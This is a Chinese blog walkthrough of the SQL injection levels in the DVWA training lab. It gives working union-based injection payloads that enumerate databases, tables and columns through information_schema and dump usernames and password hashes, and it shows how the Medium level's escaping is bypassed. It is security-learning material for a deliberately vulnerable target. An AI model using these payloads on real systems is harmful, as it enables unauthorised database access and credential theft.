DVWA通关-SQL注入篇

DVWA通关-SQL注入篇

开篇之前

  我知道网上也有很多通关攻略,但都是别人通关,复制粘贴也是别人的,所以就想写一下自己的。写下这篇文章主要是记录自己的学习,以及和各位朋友交流,有错误的地方,希望各位大佬指出,谢谢。

DVWA介绍

  DVWA是一个非常适合新人入门安全的靶场。这个靶场涵盖了暴力破解、命令注入、CSRF、文件包含、上传文件、不安全的验证码、SQL注入、XSS注入等漏洞,有Low、Medium、High、Impossible四个等级。这一次带来的是SQL注入的通关攻略。

Level-Low

一个提交框,输入1来查询一下,可以看到 ID为1的First name和Surname。输入2看得的则是关于ID为2的信息。
在这里插入图片描述
输入1’ 来测试一下有没有注入漏洞,可以看到关于SQL语法的报错
  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1

  输入1' and'1'='1 能得到正常回显,输入1’ and’1’=‘2无回显,可以判断出为数字类型的SQL注入
判断注入类型
使用联合查询来猜测数据库的字段
1' union select 1,2#在这里插入图片描述
当查询语句为1’ union select 1,2,3#时报错,说明只有1,2两个字段
The used SELECT statements have a different number of columns

接下来使用所有数据库以及当前所用的数据库,可以看到下图First name为当前所用的数据库。Surname显示的是所有的数据库(关于information_schema,文章结尾有参考和学习链接)

-1' union select database(),schema_name from information_schema.schemata#

查询数据库
查看当前数据库的表名,可以看到有一个users表,猜测是存放user数据的地方

-1'union select 1,table_name from information_schema.tables#

在这里插入图片描述
接着查看users的字段名

-1' union select 1,column_name from information_schema.columns where table_name = 'users'#

在这里插入图片描述
看到有user和password的字样,直接查看这两个列,得出账号密码

-1' union select user,password from users#

在这里插入图片描述
账号密码为MD5加密,直接使用MD5在线解密即可
在这里插入图片描述

Level-Medium

  将DVWA的安全等级调到Medium,可以看到只有下拉的选择框,没有让我们输入语句的地方,这时候就需要使用burpsuit抓包来查看Submit后的信息
在这里插入图片描述

在这里插入图片描述
选择1,提交。通过burpsuit抓包可以看到id=1的字。
medium
作为一个入门的靶场,看到id=1想到了什么?让我们看看Low级别提交后抓包的信息。Low级别的包头中,id是通过GET方法来提交数据的对比,而Medium是通过POST来提交数据的。查看源代码,除了提交方法不一样,查询的方法都是一样的,也就是说,Low级别的查询语句在Medium同样适用。但是要注意,Medium级别的源代码中有个语句

$id = mysql_real_escape_string($id);

查询mysql_real_escape_string()的用法
在这里插入图片描述

过滤了号,所以不需要'号即可查询

-1 union select user,password from users#

Lever-low
Level-Medium通关

Level-High

将DVWA的安全级别调整到High,可以看到弹出一个小窗口,试着输入1,发现在原界面有回显
在这里插入图片描述
分析一下源代码,只是对自动化注入做了防御,但是参数没有做防御,多了个LIMIT 1,是希望只显示一个结果
在这里插入图片描述
使用Level-Low的SQL语句来注入,即可得到账号密码
在这里插入图片描述

Level-Impossible

Impossible的代码对SQL语句进行了预编译,有效的防止了SQL注入。

information_schema参考
https://www.cnblogs.com/lcbwwy/p/12670465.html

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值